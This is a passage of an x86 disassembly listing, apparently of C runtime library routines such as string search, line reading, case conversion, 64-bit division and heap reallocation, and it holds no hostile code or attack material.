loc_418EAC: ; CODE XREF: sub_418DE0+7Cj ; sub_418DE0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418EA4 test dl, dl jz short loc_418E9A test dh, dh jz short loc_418EF8 test edx, 0FF0000h jz short loc_418EE8 test edx, 0FF000000h jnz short loc_418EA4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EE8: ; CODE XREF: sub_418DE0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418DE0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F10 proc near ; CODE XREF: sub_407252+2A2p ; sub_40EE72+31DBp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418F31 xor eax, eax jmp short loc_418F33 ; --------------------------------------------------------------------------- loc_418F31: ; CODE XREF: sub_418F10+1Bj mov eax, edi loc_418F33: ; CODE XREF: sub_418F10+1Fj cld pop edi leave retn sub_418F10 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_418F50 loc_418F40: ; CODE XREF: sub_418F50+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_418F50 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_408C26+DBp ; sub_40DAF0+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_418F56: ; CODE XREF: sub_417880+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_418F7B loc_418F68: ; CODE XREF: sub_418F50+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_418F40 test cl, cl jz short loc_418FC4 test edx, 3 jnz short loc_418F68 loc_418F7B: ; CODE XREF: sub_418F50+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_418F86: ; CODE XREF: sub_418F50+61j ; sub_418F50+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_418FC8 and eax, 81010100h jz short loc_418F86 and eax, 1010100h jnz short loc_418FC2 and esi, 80000000h jnz short loc_418F86 loc_418FC2: ; CODE XREF: sub_418F50+68j ; sub_418F50+81j ... pop esi pop edi loc_418FC4: ; CODE XREF: sub_418F50+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_418FC8: ; CODE XREF: sub_418F50+5Aj mov eax, [edx-4] cmp al, bl jz short loc_419005 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FFE test ah, ah jz short loc_418FC2 shr eax, 10h cmp al, bl jz short loc_418FF7 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FF0 test ah, ah jz short loc_418FC2 jmp short loc_418F86 ; --------------------------------------------------------------------------- loc_418FF0: ; CODE XREF: sub_418F50+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418FF7: ; CODE XREF: sub_418F50+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418FFE: ; CODE XREF: sub_418F50+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_419005: ; CODE XREF: sub_418F50+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_418F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41900C proc near ; CODE XREF: sub_408C26+AFp ; sub_40EE72+47F2p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_419020 xor eax, eax jmp short loc_419056 ; --------------------------------------------------------------------------- loc_419020: ; CODE XREF: sub_41900C+Ej dec [ebp+arg_4] push esi jz short loc_419050 mov esi, [ebp+arg_8] loc_419029: ; CODE XREF: sub_41900C+42j dec dword ptr [esi+4] js short loc_419038 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41903F ; --------------------------------------------------------------------------- loc_419038: ; CODE XREF: sub_41900C+20j push esi call sub_41E248 pop ecx loc_41903F: ; CODE XREF: sub_41900C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41905A mov [edi], al inc edi cmp al, 0Ah jz short loc_419050 dec [ebp+arg_4] jnz short loc_419029 loc_419050: ; CODE XREF: sub_41900C+18j ; sub_41900C+3Dj ... and byte ptr [edi], 0 loc_419053: ; CODE XREF: sub_41900C+55j mov eax, ebx pop esi loc_419056: ; CODE XREF: sub_41900C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41905A: ; CODE XREF: sub_41900C+36j cmp edi, [ebp+arg_0] jnz short loc_419050 xor ebx, ebx jmp short loc_419053 sub_41900C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419063 proc near ; CODE XREF: sub_409209+BFp ; sub_409209+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_48A0A8 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_419097 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_4190FE loc_41907F: ; CODE XREF: sub_419063+30j mov cl, [edx] cmp cl, 61h jl short loc_419090 cmp cl, 7Ah jg short loc_419090 sub cl, 20h mov [edx], cl loc_419090: ; CODE XREF: sub_419063+21j ; sub_419063+26j inc edx cmp [edx], bl jnz short loc_41907F jmp short loc_4190FE ; --------------------------------------------------------------------------- loc_419097: ; CODE XREF: sub_419063+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_41E709 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_4190F0 push edi call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_4190F0 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_4190F0 push [ebp+var_4] push [ebp+arg_0] call sub_4179C0 pop ecx pop ecx loc_4190F0: ; CODE XREF: sub_419063+53j ; sub_419063+61j ... push [ebp+var_4] call sub_417C3B mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_4190FE: ; CODE XREF: sub_419063+1Aj ; sub_419063+32j pop ebx leave retn sub_419063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419101 proc near ; CODE XREF: sub_40A951+6p ; sub_40A96F+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_48A0A8, 0 push ebx push esi push edi jnz short loc_41912E mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4191C7 cmp eax, 5Ah jg loc_4191C7 add eax, 20h jmp loc_4191C7 ; --------------------------------------------------------------------------- loc_41912E: ; CODE XREF: sub_419101+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_419162 cmp dword_4397AC, esi jle short loc_419150 push esi push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41915A ; --------------------------------------------------------------------------- loc_419150: ; CODE XREF: sub_419101+42j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, esi loc_41915A: ; CODE XREF: sub_419101+4Dj test eax, eax jnz short loc_419162 loc_41915E: ; CODE XREF: sub_419101+ADj mov eax, ebx jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_419162: ; CODE XREF: sub_419101+3Aj ; sub_419101+5Bj mov edx, off_4395A0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_419186 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41918F ; --------------------------------------------------------------------------- loc_419186: ; CODE XREF: sub_419101+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41918F: ; CODE XREF: sub_419101+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_48A0A8 call sub_41E709 add esp, 20h test eax, eax jz short loc_41915E cmp eax, esi jnz short loc_4191BA movzx eax, [ebp+var_4] jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_4191BA: ; CODE XREF: sub_419101+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4191C7: ; CODE XREF: sub_419101+16j ; sub_419101+1Fj ... pop edi pop esi pop ebx leave retn sub_419101 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4191D0 proc near ; CODE XREF: sub_40B822+3Dp ; sub_40D01A+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4191F1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_419241 ; --------------------------------------------------------------------------- loc_4191F1: ; CODE XREF: sub_4191D0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4191FF: ; CODE XREF: sub_4191D0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4191FF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41922A cmp edx, [esp+4+arg_4] ja short loc_41922A jb short loc_419232 cmp eax, [esp+4+arg_0] jbe short loc_419232 loc_41922A: ; CODE XREF: sub_4191D0+4Aj ; sub_4191D0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_419232: ; CODE XREF: sub_4191D0+52j ; sub_4191D0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_419241: ; CODE XREF: sub_4191D0+1Fj pop ebx retn 10h sub_4191D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419250 proc near ; CODE XREF: sub_40B822+24p ; sub_40D01A+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_419272 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4192B3 ; --------------------------------------------------------------------------- loc_419272: ; CODE XREF: sub_419250+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_419280: ; CODE XREF: sub_419250+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_419280 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4192AE cmp edx, [esp+8+arg_4] ja short loc_4192AE jb short loc_4192AF cmp eax, [esp+8+arg_0] jbe short loc_4192AF loc_4192AE: ; CODE XREF: sub_419250+4Ej ; sub_419250+54j dec esi loc_4192AF: ; CODE XREF: sub_419250+56j ; sub_419250+5Cj xor edx, edx mov eax, esi loc_4192B3: ; CODE XREF: sub_419250+20j pop esi pop ebx retn 10h sub_419250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B8 proc near ; CODE XREF: sub_40B8D8+1E3p ; ___:0040E7A0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_417AB0 cmp eax, 1 pop ecx jb short loc_4192F3 cmp byte ptr [ebx+1], 3Ah jnz short loc_4192F3 mov esi, [ebp+arg_4] test esi, esi jz short loc_4192EF push 2 push ebx push esi call sub_41ED0D add esp, 0Ch and byte ptr [esi+2], 0 loc_4192EF: ; CODE XREF: sub_4192B8+25j inc ebx inc ebx jmp short loc_4192FD ; --------------------------------------------------------------------------- loc_4192F3: ; CODE XREF: sub_4192B8+18j ; sub_4192B8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_4192FD and byte ptr [eax], 0 loc_4192FD: ; CODE XREF: sub_4192B8+39j ; sub_4192B8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_419375 loc_419310: ; CODE XREF: sub_4192B8+87j mov cl, [eax] movzx edx, cl test byte_48B561[edx], 4 jz short loc_419321 inc eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419321: ; CODE XREF: sub_4192B8+64j cmp cl, 2Fh jz short loc_419335 cmp cl, 5Ch jz short loc_419335 cmp cl, 2Eh jnz short loc_41933B mov [ebp+var_4], eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419335: ; CODE XREF: sub_4192B8+6Cj ; sub_4192B8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41933B: ; CODE XREF: sub_4192B8+67j ; sub_4192B8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_419310 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_419375 cmp [ebp+arg_8], 0 jz short loc_419370 sub edi, ebx cmp edi, esi jb short loc_419359 mov edi, esi loc_419359: ; CODE XREF: sub_4192B8+9Dj push edi push ebx push [ebp+arg_8] call sub_41ED0D mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_419370: ; CODE XREF: sub_4192B8+97j mov ebx, [ebp+arg_4] jmp short loc_41937F ; --------------------------------------------------------------------------- loc_419375: ; CODE XREF: sub_4192B8+56j ; sub_4192B8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41937F and byte ptr [ecx], 0 loc_41937F: ; CODE XREF: sub_4192B8+BBj ; sub_4192B8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4193D2 cmp edi, ebx jb short loc_4193D2 cmp [ebp+arg_C], 0 jz short loc_4193AF sub edi, ebx cmp edi, esi jb short loc_419398 mov edi, esi loc_419398: ; CODE XREF: sub_4192B8+DCj push edi push ebx push [ebp+arg_C] call sub_41ED0D mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4193AF: ; CODE XREF: sub_4192B8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_4193FA sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4193BF mov esi, eax loc_4193BF: ; CODE XREF: sub_4192B8+103j push esi push [ebp+var_4] push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D2: ; CODE XREF: sub_4192B8+CCj ; sub_4192B8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_4193F0 sub eax, ebx cmp eax, esi jnb short loc_4193E1 mov esi, eax loc_4193E1: ; CODE XREF: sub_4192B8+125j push esi push ebx push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 loc_4193F0: ; CODE XREF: sub_4192B8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_4193FA and byte ptr [eax], 0 loc_4193FA: ; CODE XREF: sub_4192B8+FCj ; sub_4192B8+118j ... pop edi pop esi pop ebx leave retn sub_4192B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_40BFE1+19p ; sub_40D633+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41943D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41944A ; --------------------------------------------------------------------------- loc_41943D: ; CODE XREF: sub_4193FF+34j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_41944A: ; CODE XREF: sub_4193FF+3Cj mov eax, esi pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41944F proc near ; CODE XREF: sub_40C259+2Ep ; sub_418603+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41946A push [ebp+arg_4] call sub_417B89 pop ecx jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41946A: ; CODE XREF: sub_41944F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41947F push [ebp+arg_0] call sub_417C3B pop ecx jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_41947F: ; CODE XREF: sub_41944F+20j mov eax, dword_48B688 cmp eax, 3 jnz loc_41958F loc_41948D: ; CODE XREF: sub_41944F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41956B push [ebp+arg_0] call sub_41AD89 mov ebx, eax pop ecx test ebx, ebx jz loc_419546 cmp esi, dword_48B680 ja short loc_4194FF mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41B592 add esp, 0Ch test eax, eax jnz short loc_4194FB push esi call sub_41B0DD mov edi, eax pop ecx test edi, edi jz short loc_4194FF mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4194DF mov eax, esi loc_4194DF: ; CODE XREF: sub_41944F+8Cj push eax push ebx push edi call sub_417390 push ebx call sub_41AD89 push [ebp+arg_0] mov ebx, eax push ebx call sub_41ADB4 add esp, 18h loc_4194FB: ; CODE XREF: sub_41944F+74j test edi, edi jnz short loc_419542 loc_4194FF: ; CODE XREF: sub_41944F+62j ; sub_41944F+81j test esi, esi jnz short loc_419506 push 1 pop esi loc_419506: ; CODE XREF: sub_41944F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_48B684 nop call near ptr 2700000h mov edi, eax test edi, edi jz short loc_419542 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41952E mov eax, esi loc_41952E: ; CODE XREF: sub_41944F+DBj push eax push ecx push edi call sub_417390 push [ebp+arg_0] push ebx call sub_41ADB4 add esp, 14h loc_419542: ; CODE XREF: sub_41944F+AEj ; sub_41944F+D0j test ebx, ebx jnz short loc_419567 loc_419546: ; CODE XREF: sub_41944F+56j test esi, esi jnz short loc_41954D push 1 pop esi loc_41954D: ; CODE XREF: sub_41944F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_48B684 call near ptr 2810000h nop mov edi, eax loc_419567: ; CODE XREF: sub_41944F+F5j test edi, edi jnz short loc_419588 loc_41956B: ; CODE XREF: sub_41944F+43j cmp dword_48A074, 0 jz short loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_41948D jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_419588: ; CODE XREF: sub_41944F+11Aj ; sub_41944F+123j ... mov eax, edi jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41958F: ; CODE XREF: sub_41944F+38j cmp eax, 2 jnz loc_4196AA cmp esi, 0FFFFFFE0h ja short loc_4195AC test esi, esi jbe short loc_4195A9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4195AC ; --------------------------------------------------------------------------- loc_4195A9: ; CODE XREF: sub_41944F+150j push 10h pop esi loc_4195AC: ; CODE XREF: sub_41944F+14Cj ; sub_41944F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41968C lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41BAE4 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_419670 cmp esi, dword_43B7E4 jnb short loc_419634 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BEAC add esp, 10h test eax, eax jz short loc_4195FA mov edi, [ebp+arg_0] jmp short loc_41962C ; --------------------------------------------------------------------------- loc_4195FA: ; CODE XREF: sub_41944F+1A4j push edi call sub_41BB80 mov edi, eax pop ecx test edi, edi jz short loc_419634 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419613 mov eax, esi loc_419613: ; CODE XREF: sub_41944F+1C0j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h loc_41962C: ; CODE XREF: sub_41944F+1A9j test edi, edi jnz loc_419588 loc_419634: ; CODE XREF: sub_41944F+18Bj ; sub_41944F+1B6j push esi push 0 push dword_48B684 nop call near ptr 2700000h mov edi, eax test edi, edi jz short loc_41968C movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419655 mov eax, esi loc_419655: ; CODE XREF: sub_41944F+202j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h jmp short loc_419684 ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_41944F+17Fj push esi push [ebp+arg_0] push 0 push dword_48B684 nop call near ptr 2810000h mov edi, eax loc_419684: ; CODE XREF: sub_41944F+21Fj test edi, edi jnz loc_419588 loc_41968C: ; CODE XREF: sub_41944F+162j ; sub_41944F+1F8j cmp dword_48A074, 0 jz loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_4195AC jmp short loc_4196E8 ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_41944F+143j ; sub_41944F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4196D4 test esi, esi jnz short loc_4196B8 push 1 pop esi loc_4196B8: ; CODE XREF: sub_41944F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_48B684 nop call near ptr 2810000h test eax, eax jnz short loc_4196EA loc_4196D4: ; CODE XREF: sub_41944F+260j cmp dword_48A074, 0 jz short loc_4196EA push esi call sub_41AB54 test eax, eax pop ecx jnz short loc_4196AA loc_4196E8: ; CODE XREF: sub_41944F+2Bj ; sub_41944F+134j ... xor eax, eax loc_4196EA: ; CODE XREF: sub_41944F+16j ; sub_41944F+13Bj ... pop edi pop esi pop ebx leave retn sub_41944F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196EF proc near ; CODE XREF: sub_40C8B4+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_419713 xor eax, eax jmp loc_4197E0 ; --------------------------------------------------------------------------- loc_419713: ; CODE XREF: sub_4196EF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_419726 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41972D ; --------------------------------------------------------------------------- loc_419726: ; CODE XREF: sub_4196EF+2Dj mov [ebp+arg_C], 1000h loc_41972D: ; CODE XREF: sub_4196EF+35j ; sub_4196EF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_419761 mov eax, [esi+4] test eax, eax jz short loc_419761 cmp ebx, eax mov edi, ebx jb short loc_419747 mov edi, eax loc_419747: ; CODE XREF: sub_4196EF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_417390 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4197A7 ; --------------------------------------------------------------------------- loc_419761: ; CODE XREF: sub_4196EF+47j ; sub_4196EF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4197AC test ecx, ecx jz short loc_419775 push esi call sub_41A7D0 test eax, eax pop ecx jnz short loc_4197EE loc_419775: ; CODE XREF: sub_4196EF+79j cmp [ebp+arg_C], 0 jz short loc_419788 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41978A ; --------------------------------------------------------------------------- loc_419788: ; CODE XREF: sub_4196EF+8Aj mov edi, ebx loc_41978A: ; CODE XREF: sub_4196EF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4197E5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4197E5 loc_4197A7: ; CODE XREF: sub_4196EF+70j mov edi, [ebp+var_4] jmp short loc_4197D5 ; --------------------------------------------------------------------------- loc_4197AC: ; CODE XREF: sub_4196EF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_419D23 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4197EE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4197D5 mov [ebp+arg_C], 1 loc_4197D5: ; CODE XREF: sub_4196EF+BBj ; sub_4196EF+DDj test ebx, ebx jnz loc_41972D mov eax, [ebp+arg_8] loc_4197E0: ; CODE XREF: sub_4196EF+1Fj ; sub_4196EF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4197E5: ; CODE XREF: sub_4196EF+ADj ; sub_4196EF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_4197F0 ; --------------------------------------------------------------------------- loc_4197EE: ; CODE XREF: sub_4196EF+84j ; sub_4196EF+CFj mov eax, edi loc_4197F0: ; CODE XREF: sub_4196EF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4197E0 sub_4196EF endp ; =============== S U B R O U T I N E ======================================= sub_4197F9 proc near ; CODE XREF: sub_40D000+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 268044Ah cmp eax, 0FFFFFFFFh jnz short loc_419819 nop call near ptr 264030Ch push eax call sub_41EF44 pop ecx loc_419815: ; CODE XREF: sub_4197F9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419819: ; CODE XREF: sub_4197F9+Dj test al, 1 jz short loc_41983A test [esp+arg_4], 2 jz short loc_41983A mov dword_48A014, 0Dh mov dword_48A018, 5 jmp short loc_419815 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4197F9+22j ; sub_4197F9+29j xor eax, eax retn sub_4197F9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419840 proc near ; CODE XREF: sub_40D12A+5Fp ; sub_40D12A+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_419861 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_419861: ; CODE XREF: sub_419840+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41987D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41987D: ; CODE XREF: sub_419840+27j or eax, eax jnz short loc_419899 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4198DA ; --------------------------------------------------------------------------- loc_419899: ; CODE XREF: sub_419840+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4198A7: ; CODE XREF: sub_419840+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr 